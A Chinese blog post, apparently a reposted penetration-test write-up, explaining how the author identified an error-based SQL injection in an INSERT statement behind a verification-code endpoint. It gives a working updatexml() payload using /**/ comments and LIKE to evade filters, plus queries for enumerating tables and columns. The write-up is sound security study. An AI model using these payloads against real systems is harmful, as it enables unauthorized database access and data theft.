Insert注入实例简单分析

栏目: Json · 发布时间: 8年前

内容简介:Insert注入实例简单分析

注入分析

在工作时遇到一个注入,insert型的报错注入,比较典型,记录一下利用的思路。

URL参数部分如下: userId=724'&idCode=&phoneNum=138&cb=jsonp

可见基本上由三个参数构成,在 userID 和 phoneNum 参数后加单引号会直接报错,报错信息如下:

Insert注入实例简单分析
userId参数后加单引号
Insert注入实例简单分析
phoneNum参数后加单引号

不过仅有上面两条报错信息分析不出来什么,还要继续试,单引号后再加参数fuzz一会,再加上此处的业务逻辑是发验证码,猜测此处有可能是Insert注入,再结合一个很关键的报错信息如下:

fuzz 参数phoneNum为 138','

Insert注入实例简单分析

这个报错信息很明显了,加了个逗号,告诉我参数数量是4,而应该是3,基本上可以确定为这里的 SQL 存储过程执行的是插入语句,且插入语句的大体结构可能如下:

insert into table values('userid', 'phoneNum', '')

结合报错信息来看,涉及到参数的语句在小括号外面还有一对单引号,故我们得出的此处参数如下: '('userId', 'phoneNum', '')'

这个结构可以解释之前所有的报错,所以基于这个结构构造注入语句试一试。

自然的构造如下的语句:

'('userId' or updatexml() or '','phoneNum', '')'

这样就可以执行updatexml()语句执行报错,故所需Payload只是把userId参数改掉,改成如上的格式就可以。还有一点坑的地方就是这个地方过滤了 等号空格 ,所以采取一些过滤方式,比如/**/,%09,like等,就可以绕过过滤执行语句了。

注入过程

  • 爆表的数量

    userId=724'/**/or/**/updatexml(1,concat(0x7e,concat(0x7e,(select/**/count(*)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'spzh'/**/limit/**/0,1),0x7e),0x7e),0)/**/or'&idCode=&phoneNum=138&cb=jsonp
  • 爆表名

    select table_name from information_schema.tables where table_schema='库名'

  • 爆列名

    select column_name from information_schema.columns where table_name='表名'

    后面爆数据不再赘述。可以写个简单的脚本,很快就能爆出想要的数据了。

简单总结

主要是对于sql语句的猜测,此处结合了业务和报错做的一些分析,第一次遇到这个场景,没有猜到是insert注入之前很纳闷这个语句是什么情况,想到是insert注入之后很多奇怪报错现象就迎刃而解了。所以在注入过程中还是要多联系业务场景,遇到问题采用排除法仔细排查。


以上所述就是小编给大家介绍的《Insert注入实例简单分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Programming Concurrency on the JVM

Programming Concurrency on the JVM

Venkat Subramaniam / The Pragmatic Bookshelf / 2011-6-1 / USD 35.00

Concurrency on the Java platform has evolved, from the synchronization model of JDK to software transactional memory (STM) and actor-based concurrency. This book is the first to show you all these con......一起来看看 《Programming Concurrency on the JVM》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具